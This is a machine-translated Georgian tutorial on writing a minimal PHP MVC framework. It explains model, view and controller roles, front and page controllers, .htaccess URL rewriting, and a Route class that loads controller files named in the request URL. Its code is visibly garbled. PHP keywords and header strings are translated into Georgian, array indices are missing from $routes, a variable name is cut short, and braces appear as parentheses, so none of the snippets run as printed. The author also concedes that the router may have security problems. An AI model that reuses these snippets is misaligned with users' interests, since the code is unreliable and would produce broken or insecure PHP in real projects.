  • აპლიკაცია იღებს მოთხოვნას მომხმარებლისგან და განსაზღვრავს მოთხოვნილ კონტროლერს და მოქმედებას. მთავარი გვერდის შემთხვევაში, ნაგულისხმევი მოქმედება შესრულებულია ( ინდექსი).
  • აპლიკაცია ახდენს კონტროლერს და აწარმოებს მოქმედების მეთოდს,
    რომელიც, მაგალითად, შეიცავს მოდელის ზარებს, რომლებიც კითხულობენ ინფორმაციას მონაცემთა ბაზიდან.
  • ამის შემდეგ, მოქმედება ქმნის ხედს მოდელიდან მიღებული მონაცემებით და უჩვენებს შედეგს მომხმარებელს.
    • მოდელი - შეიცავს აპლიკაციის ბიზნეს ლოგიკას და მოიცავს ამოღების მეთოდებს (ეს შეიძლება იყოს ORM მეთოდები), დამუშავება (მაგალითად, ვალიდაციის წესები) და კონკრეტული მონაცემების მიწოდება, რაც ხშირად მას ძალიან სქელ ხდის, რაც სავსებით ნორმალურია.
    მოდელი პირდაპირ არ უნდა იმოქმედოს მომხმარებელთან. მომხმარებლის მოთხოვნასთან დაკავშირებული ყველა ცვლადი უნდა დამუშავდეს კონტროლერში.
    მოდელმა არ უნდა შექმნას HTML ან სხვა საჩვენებელი კოდი, რომელიც შეიძლება შეიცვალოს მომხმარებლის საჭიროებიდან გამომდინარე. ასეთი კოდი უნდა დამუშავდეს ხედებში.
    იგივე მოდელი, მაგალითად: მომხმარებლის ავტორიზაციის მოდელის გამოყენება შესაძლებელია როგორც მომხმარებლის, ასევე აპლიკაციის ადმინისტრაციულ ნაწილში. ამ შემთხვევაში, თქვენ შეგიძლიათ გადაიტანოთ ზოგადი კოდი ცალკე კლასში და მიიღოთ მემკვიდრეობა მისგან, განსაზღვროთ ქვეაპლიკაციის სპეციფიკური მეთოდები მის შთამომავლებში.

    ხედი - გამოიყენება კონტროლერიდან და მოდელიდან მიღებული მონაცემების გარე ჩვენების დასაზუსტებლად.
    ხედები შეიცავს HTML მარკირებას და PHP კოდის მცირე ჩანართებს მონაცემების გადასასვლელად, ფორმატირებისთვის და ჩვენებისთვის.
    არ უნდა პირდაპირ შედიოდეს მონაცემთა ბაზაში. ეს არის ის, რაც მოდელებმა უნდა გააკეთონ.
    არ უნდა იმუშაოს მომხმარებლის მოთხოვნით მიღებულ მონაცემებთან. ეს დავალება უნდა შეასრულოს კონტროლერმა.
    შეუძლია პირდაპირ წვდომა კონტროლერის ან მოდელების თვისებებზე და მეთოდებზე, რათა მიიღოთ გამოსავალი მზა მონაცემები.
    ხედები ჩვეულებრივ იყოფა საერთო შაბლონად, რომელიც შეიცავს ყველა გვერდისთვის საერთო მარკირებას (მაგალითად, სათაური და ქვედა კოლონტიტული) და შაბლონის ნაწილები, რომლებიც გამოიყენება მოდელიდან მონაცემების გამოსატანად ან მონაცემთა შეყვანის ფორმების ჩვენებისთვის.

    კონტროლერი არის წებო, რომელიც აკავშირებს მოდელებს, ხედებს და სხვა კომპონენტებს სამუშაო აპლიკაციაში. კონტროლერი პასუხისმგებელია მომხმარებლის მოთხოვნების დამუშავებაზე. კონტროლერი არ უნდა შეიცავდეს SQL შეკითხვებს. უმჯობესია შეინახოთ ისინი მოდელებში. კონტროლერი არ უნდა შეიცავდეს HTML ან სხვა მარკირებას. ღირს მისი გაცნობა.
    კარგად შემუშავებულ MVC აპლიკაციაში, კონტროლერები, როგორც წესი, ძალიან თხელია და შეიცავს მხოლოდ რამდენიმე ათეული კოდის ხაზს. იგივე არ შეიძლება ითქვას Stupid Fat Controllers (SFC) შესახებ CMS Joomla-ში. კონტროლერის ლოგიკა საკმაოდ ტიპიურია და მისი უმეტესობა გადადის საბაზისო კლასებში.
    მოდელები, პირიქით, ძალიან სქელია და შეიცავს მონაცემთა დამუშავებასთან დაკავშირებულ კოდს უმეტეს ნაწილს, რადგან მონაცემთა სტრუქტურა და მასში შემავალი ბიზნეს ლოგიკა, როგორც წესი, საკმაოდ სპეციფიკურია კონკრეტული აპლიკაციისთვის.

    1.1. წინა კონტროლერი და გვერდის კონტროლერი უმეტეს შემთხვევაში, მომხმარებლის ურთიერთქმედება ვებ აპლიკაციასთან ხდება ბმულებზე დაწკაპუნებით. შეხედეთ ახლა თქვენი ბრაუზერის მისამართის ზოლს - თქვენ მიიღეთ ეს ტექსტი ამ ბმულიდან. სხვა ბმულები, როგორიცაა ამ გვერდის მარჯვენა მხარეს, მოგაწვდიან სხვადასხვა შინაარსს. ამრიგად, ბმული წარმოადგენს კონკრეტულ ბრძანებას ვებ აპლიკაციისთვის.

    იმედი მაქვს, თქვენ უკვე შენიშნეთ, რომ სხვადასხვა საიტებს შეიძლება ჰქონდეთ სრულიად განსხვავებული ფორმატები მისამართების ზოლის შესაქმნელად. თითოეულ ფორმატს შეუძლია აჩვენოს ვებ აპლიკაციის არქიტექტურა. მიუხედავად იმისა, რომ ეს ყოველთვის ასე არ არის, უმეტეს შემთხვევაში ეს აშკარა ფაქტია.

    მოდით განვიხილოთ ორი ვარიანტი მისამართის ზოლისთვის, რომელიც აჩვენებს ტექსტს და მომხმარებლის პროფილს.

    პირველი ვარიანტი:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
    • აქ თითოეული სკრიპტი პასუხისმგებელია კონკრეტული ბრძანების შესრულებაზე.

    მეორე ვარიანტი:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
    • და აქ ყველა ზარი ხდება ერთ index.php სკრიპტში.

    თქვენ შეგიძლიათ ნახოთ მრავალ შეხების წერტილის მიდგომა phpBB ფორუმებზე. ფორუმის ნახვა ხდება viewforum.php სკრიპტით, თემის ნახვა ხდება viewtopic.php და ა.შ. მეორე მიდგომა, წვდომა ერთი ფიზიკური სკრიპტის ფაილის საშუალებით, შეგიძლიათ ნახოთ ჩემს საყვარელ CMS MODX-ში, სადაც ყველა ზარი გადის index.php-ზე.

    ეს ორი მიდგომა სრულიად განსხვავებულია. პირველი დამახასიათებელია გვერდის კონტროლერის ნიმუშისთვის, ხოლო მეორე მიდგომა ხორციელდება წინა კონტროლერის ნიმუშით. გვერდის კონტროლერი კარგია საკმაოდ მარტივი ლოგიკის მქონე საიტებისთვის. თავის მხრივ, მოთხოვნის კონტროლერი აერთიანებს მოთხოვნის დამუშავების ყველა აქტივობას ერთ ადგილზე, რაც აძლევს მას დამატებით შესაძლებლობებს, რაც საშუალებას მოგცემთ განახორციელოთ უფრო რთული ამოცანები, ვიდრე ჩვეულებრივ წყდება გვერდის კონტროლერის მიერ. გვერდის კონტროლერის დანერგვის დეტალებს არ შევუდგები, მხოლოდ ვიტყვი, რომ პრაქტიკულ ნაწილში სწორედ მოთხოვნის კონტროლერი (რაღაც მსგავსი) განვითარდება.

    1.2. URL მარშრუტიზაცია URL მარშრუტიზაცია საშუალებას გაძლევთ დააკონფიგურიროთ თქვენი აპლიკაცია, რომ მიიღოს მოთხოვნები URL-ებიდან, რომლებიც არ შეესაბამება რეალურ აპლიკაციის ფაილებს, და გამოიყენოთ CNC, რომლებიც სემანტიკურად მნიშვნელოვანია მომხმარებლებისთვის და სასურველია საძიებო სისტემის ოპტიმიზაციისთვის.

    მაგალითად, ჩვეულებრივი გვერდისთვის, რომელიც აჩვენებს საკონტაქტო ფორმას, URL შეიძლება ასე გამოიყურებოდეს:
    http://www.example.com/contacts.php?action=feedback

    დამუშავების სავარაუდო კოდი ამ შემთხვევაში:
    შეცვლა ($_GET ["action" ]) ( case "about" : require_once ("about.php"); // "ჩვენს შესახებ" გვერდის შესვენება; case "contacts": require_once ("contacts.php"); // გვერდი "კონტაქტები" შესვენება ; შემთხვევა "გამოხმაურება" : require_once ("feedback.php"); // გვერდი "გამოხმაურება" შესვენება; ნაგულისხმევი: require_once ("page404.php"); // გვერდი "404" შესვენება ;)
    ვფიქრობ, ეს ადრე თითქმის ყველას გაუკეთებია.

    URL მარშრუტიზაციის ძრავის გამოყენებით, შეგიძლიათ დააკონფიგურიროთ თქვენი აპლიკაცია, რომ მიიღოს მსგავსი მოთხოვნები, რათა აჩვენოს იგივე ინფორმაცია:
    http://www.example.com/contacts/feedback

    აქ კონტაქტები წარმოადგენს კონტროლერს, ხოლო უკუკავშირი არის კონტაქტების კონტროლერის მეთოდი, რომელიც აჩვენებს უკუკავშირის ფორმას და ა.შ. ამ საკითხს პრაქტიკულ ნაწილში დავუბრუნდებით.

    ასევე ღირს იმის ცოდნა, რომ მრავალი ვებ ფრეიმვერების მარშრუტიზატორი საშუალებას გაძლევთ შექმნათ ინდივიდუალური URL მარშრუტები (მიუთითეთ რას ნიშნავს URL-ის თითოეული ნაწილი) და მათი დამუშავების წესები.
    ახლა ჩვენ გვაქვს საკმარისი თეორიული ცოდნა პრაქტიკაზე გადასასვლელად.

    2. ივარჯიშეთ პირველი, მოდით შევქმნათ შემდეგი ფაილის და საქაღალდის სტრუქტურა:


    ველოდები წინ, ვიტყვი, რომ ძირითადი კლასები Model, View და Controller შეინახება core საქაღალდეში.
    მათი შვილები შეინახება კონტროლერების, მოდელების და ნახვების დირექტორიაში. index.php ფაილი არის აპლიკაციაში შესვლის წერტილი. bootstrap.php ფაილი იწყებს აპლიკაციის ჩატვირთვას, აკავშირებს ყველა საჭირო მოდულს და ა.შ.

    მივდივართ თანმიმდევრობით; მოდით გავხსნათ index.php ფაილი და შეავსოთ იგი შემდეგი კოდით:
    ini_set("ჩვენების_შეცდომები" , 1 ); require_once "application/bootstrap.php" ;
    აქ კითხვები არ უნდა იყოს.

    შემდეგი, მოდით დაუყოვნებლივ გადავიდეთ bootstrap.php ფაილზე:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; მარშრუტი:: დაწყება(); //ჩართეთ როუტერი
    პირველი სამი ხაზი მოიცავს ამჟამად არარსებულ ბირთვის ფაილებს. ბოლო სტრიქონები მოიცავს ფაილს როუტერის კლასით და გაუშვით შესასრულებლად სტატიკური დაწყების მეთოდის გამოძახებით.

    2.1. URL როუტერის დანერგვა ამ დროისთვის, მოდით, გადავუხვიოთ MVC შაბლონის განხორციელებას და ყურადღება გავამახვილოთ მარშრუტიზაციაზე. პირველი ნაბიჯი, რომელიც უნდა გავაკეთოთ არის შემდეგი კოდის ჩაწერა .htaccess-ში:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    ეს კოდი გადამისამართებს ყველა გვერდის დამუშავებას index.php-ზე, რაც ჩვენ გვჭირდება. გახსოვს პირველ ნაწილში ვისაუბრეთ წინა კონტროლერზე?!

    მარშრუტიზაციას განვათავსებთ ცალკე ფაილში route.php მთავარ დირექტორიაში. ამ ფაილში ჩვენ აღვწერთ Route კლასს, რომელიც გაუშვებს კონტროლერის მეთოდებს, რაც თავის მხრივ შექმნის გვერდის ხედს.

    route.php ფაილის შინაარსი

    class Route ( სტატიკური ფუნქციის დაწყება () ( // კონტროლერი და ნაგულისხმევი მოქმედება $controller_name = "მთავარი" ; $action_name = "index" ; $routes = explode("/", $_SERVER ["REQUEST_URI" ]); // მიიღეთ კონტროლერის სახელი if (!empty ($routes )) ( $controller_name = $routes ;) // მიიღეთ მოქმედების სახელი, თუ (!empty ($routes )) ( $action_name = $routes ; ) // დაამატეთ პრეფიქსები $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // მიამაგრეთ ფაილი მოდელის კლასს (შეიძლება არ იყოს მოდელის ფაილი) $model_file = strtolower ($model_name). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path)) ( მოიცავს "application/models/" .$model_file ;) // მიამაგრეთ ფაილი კონტროლერის კლასით $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( მოიცავს "application/controllers/" .$controller_e ) else ( /* სწორი იქნებოდა აქ გამონაკლისის დადება, მაგრამ საქმეების გასამარტივებლად, ჩვენ დაუყოვნებლივ გადავიყვანთ 404 გვერდზე */ Route::ErrorPage404(); ) // შექმენით კონტროლერი $controller = ახალი $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // გამოძახება კონტროლერის მოქმედების $controller ->$action (); ) სხვა ( // აქ ასევე უფრო გონივრული იქნება გამონაკლისის გადაგდება Route::ErrorPage404(); ) ) ფუნქცია ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 ვერ მოიძებნა" ); header("სტატუსი: 404 ვერ მოიძებნა" ) ; header(" მდებარეობა:" .$host ."404" ); ) )


    მე აღვნიშნავ, რომ კლასი ახორციელებს ძალიან გამარტივებულ ლოგიკას (მიუხედავად მოცულობითი კოდისა) და შეიძლება ჰქონდეს უსაფრთხოების პრობლემებიც კი. ეს გაკეთდა მიზანმიმართულად, რადგან... სრულფასოვანი მარშრუტიზაციის კლასის დაწერა იმსახურებს მინიმუმ ცალკე სტატიას. მოდით შევხედოთ მთავარ პუნქტებს ...

    გლობალური მასივის ელემენტი $_SERVER["REQUEST_URI"] შეიცავს სრულ მისამართს, რომელსაც დაუკავშირდა მომხმარებელი.
    მაგალითად: example.ru/contacts/feedback

    ფუნქციის გამოყენებით აფეთქდესმისამართი დაყოფილია კომპონენტებად. შედეგად, ჩვენ ვიღებთ კონტროლერის სახელს, მოცემული მაგალითისთვის ეს არის კონტროლერი კონტაქტებიდა მოქმედების სახელი, ჩვენს შემთხვევაში - უკუკავშირი.

    შემდეგი, მოდელის ფაილი (მოდელს შეიძლება აკლია) და კონტროლერის ფაილი, ასეთის არსებობის შემთხვევაში, დაკავშირებულია და ბოლოს იქმნება კონტროლერის ეგზემპლარი და მოქმედება გამოიძახება, თუ ის აღწერილია კონტროლერის კლასში.

    ამრიგად, როდესაც მიდიხარ, მაგალითად, მისამართზე:
    მაგალითი.com/პორტფოლიო
    ან
    მაგალითად.com/portfolio/index
    როუტერი შეასრულებს შემდეგ მოქმედებებს:

  • მოიცავს model_portfolio.php ფაილს models საქაღალდედან, რომელიც შეიცავს Model_Portfolio კლასს;
  • მოიცავს controller_portfolio.php ფაილს controllers საქაღალდიდან, რომელიც შეიცავს Controller_Portfolio კლასს;
  • შექმნის Controller_Portfolio კლასის ინსტანციას და გამოიძახებს მასში აღწერილ ნაგულისხმევ მოქმედებას action_index.
    • თუ მომხმარებელი ცდილობს წვდომას არარსებული კონტროლერის მისამართზე, მაგალითად:
    მაგალითი.com/ufo
    შემდეგ ის გადამისამართდება "404" გვერდზე:
    example.com/404
    იგივე მოხდება, თუ მომხმარებელი წვდება მოქმედებას, რომელიც არ არის აღწერილი კონტროლერში.2.2. დავუბრუნდეთ MVC განხორციელებას, გადავიდეთ core საქაღალდეში და დავამატოთ კიდევ სამი ფაილი route.php ფაილს: model.php, view.php და controller.php.


    შეგახსენებთ, რომ ისინი შეიცავს საბაზისო კლასებს, რომელთა წერას ახლა დავიწყებთ.

    model.php ფაილის შიგთავსი
    კლასის მოდელი ( საჯარო ფუნქცია get_data ( ) ( ) )
    მოდელის კლასი შეიცავს მონაცემთა მოპოვების ერთ ცარიელ მეთოდს, რომელიც გადაირიცხება შთამომავლ კლასებში. როდესაც ჩვენ შევქმნით შთამომავლების კლასებს, ყველაფერი უფრო ნათელი გახდება.

    view.php ფაილის შიგთავსი
    class View ( //public $template_view; // აქ შეგიძლიათ მიუთითოთ ნაგულისხმევი ზოგადი ხედი. ფუნქციის გენერირება ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // გადაიყვანეთ მასივი ელემენტები ცვლადებში ამონაწერი($data); ) */ მოიცავს "აპლიკაციას/ნახვებს/" .$template_view ; ) )
    ძნელი მისახვედრი მეთოდი არ არის გენერირებამიზნად ისახავს ხედვის ჩამოყალიბებას. მას გადაეცემა შემდეგი პარამეტრები:

  • $content_file - გვერდის შინაარსის ჩვენების ნახვები;
  • $template_file — შაბლონი, რომელიც საერთოა ყველა გვერდისთვის;
  • $data არის მასივი, რომელიც შეიცავს გვერდის შინაარსის ელემენტებს. ჩვეულებრივ ივსება მოდელში.
    • ჩათვლით ფუნქცია დინამიურად აკავშირებს ზოგად შაბლონს (ხედს), რომლის ფარგლებშიც ჩაშენდება ხედი
    კონკრეტული გვერდის შინაარსის ჩვენება.

    ჩვენს შემთხვევაში, ზოგადი შაბლონი შეიცავს სათაურს, მენიუს, გვერდითა ზოლს და ქვედა კოლონტიტულს, ხოლო გვერდის შინაარსი იქნება ცალკე ფორმით. ისევ და ისევ, ეს კეთდება სიმარტივისთვის.

    controller.php ფაილის შიგთავსი
    კლასის კონტროლერი ( public $model ; public $view ; ფუნქცია __construct () ($this ->view = new View(); ) )
    მეთოდი ქმედების_ინდექსი- ეს არის ნაგულისხმევად გამოძახებული ქმედება; ჩვენ მას უარვყოფთ შთამომავლობის კლასების განხორციელებისას.

    2.3. შთამომავლობის კლასების მოდელის და კონტროლერის დანერგვა, View-ს შექმნა ახლა გართობა იწყება! ჩვენი სავიზიტო ბარათის ვებგვერდი შედგება შემდეგი გვერდებისგან:
  • სახლში
  • სერვისები
  • პორტფოლიო
  • კონტაქტები
  • და ასევე - "404" გვერდი
    • თითოეულ გვერდს აქვს საკუთარი კონტროლერი Controllers საქაღალდიდან და ხედი views საქაღალდედან. ზოგიერთ გვერდს შეუძლია გამოიყენოს მოდელი ან მოდელები მოდელების საქაღალდედან.


    წინა ფიგურაში, ფაილი template_view.php ცალკე არის მონიშნული - ეს არის შაბლონი, რომელიც შეიცავს ყველა გვერდისთვის საერთო მარკირებას. უმარტივეს შემთხვევაში შეიძლება ასე გამოიყურებოდეს:
    სახლში
    საიტს პრეზენტაბელური იერი რომ მივცეთ, ჩვენ ვქმნით CSS შაბლონს და ვაერთიანებთ მას ჩვენს საიტზე HTML მარკირების სტრუქტურის შეცვლით და CSS და JavaScript ფაილების დაკავშირებით:

    სტატიის ბოლოს, „შედეგის“ განყოფილებაში არის ბმული GitHub საცავთან, რომელშიც მოცემულია ნაბიჯები მარტივი შაბლონის ინტეგრაციისთვის.

    2.3.1. მთავარი გვერდის შექმნა დავიწყოთ კონტროლერი controller_main.php , აქ არის მისი კოდი:
    class Controller_Main აფართოებს კონტროლერს ( ფუნქცია action_index () ($this ->view->generate("main_view.php" , "template_view.php"); ) )
    მეთოდში გენერირებაგადაეცემა View კლასის მაგალითი, ზოგადი შაბლონის ფაილების და გვერდის შინაარსის ხედის სახელები.
    ინდექსის მოქმედების გარდა, კონტროლერი, რა თქმა უნდა, შეიძლება შეიცავდეს სხვა მოქმედებებს.

    ჩვენ განვიხილეთ ზოგადი ხედვის ფაილი ადრე. განვიხილოთ შინაარსის ფაილი main_view.php:
    მოგესალმებით! OLOLOSHA TEAM არის პირველი კლასის სპეციალისტების გუნდი ვებსაიტების განვითარების სფეროში, მრავალწლიანი გამოცდილებით მექსიკური ნიღბების, ბრინჯაოსა და ქვის ქანდაკებების შეგროვებაში ინდოეთიდან და ცეილონიდან, ბარელიეფებითა და ქანდაკებებით, რომლებიც შექმნილია ეკვატორული აფრიკის ოსტატების მიერ ხუთი ან ექვსი საუკუნის განმავლობაში. წინ...
    ეს შეიცავს მარტივ მარკირებას PHP ზარების გარეშე.
    მთავარი გვერდის სანახავად შეგიძლიათ გამოიყენოთ ერთ-ერთი შემდეგი მისამართი: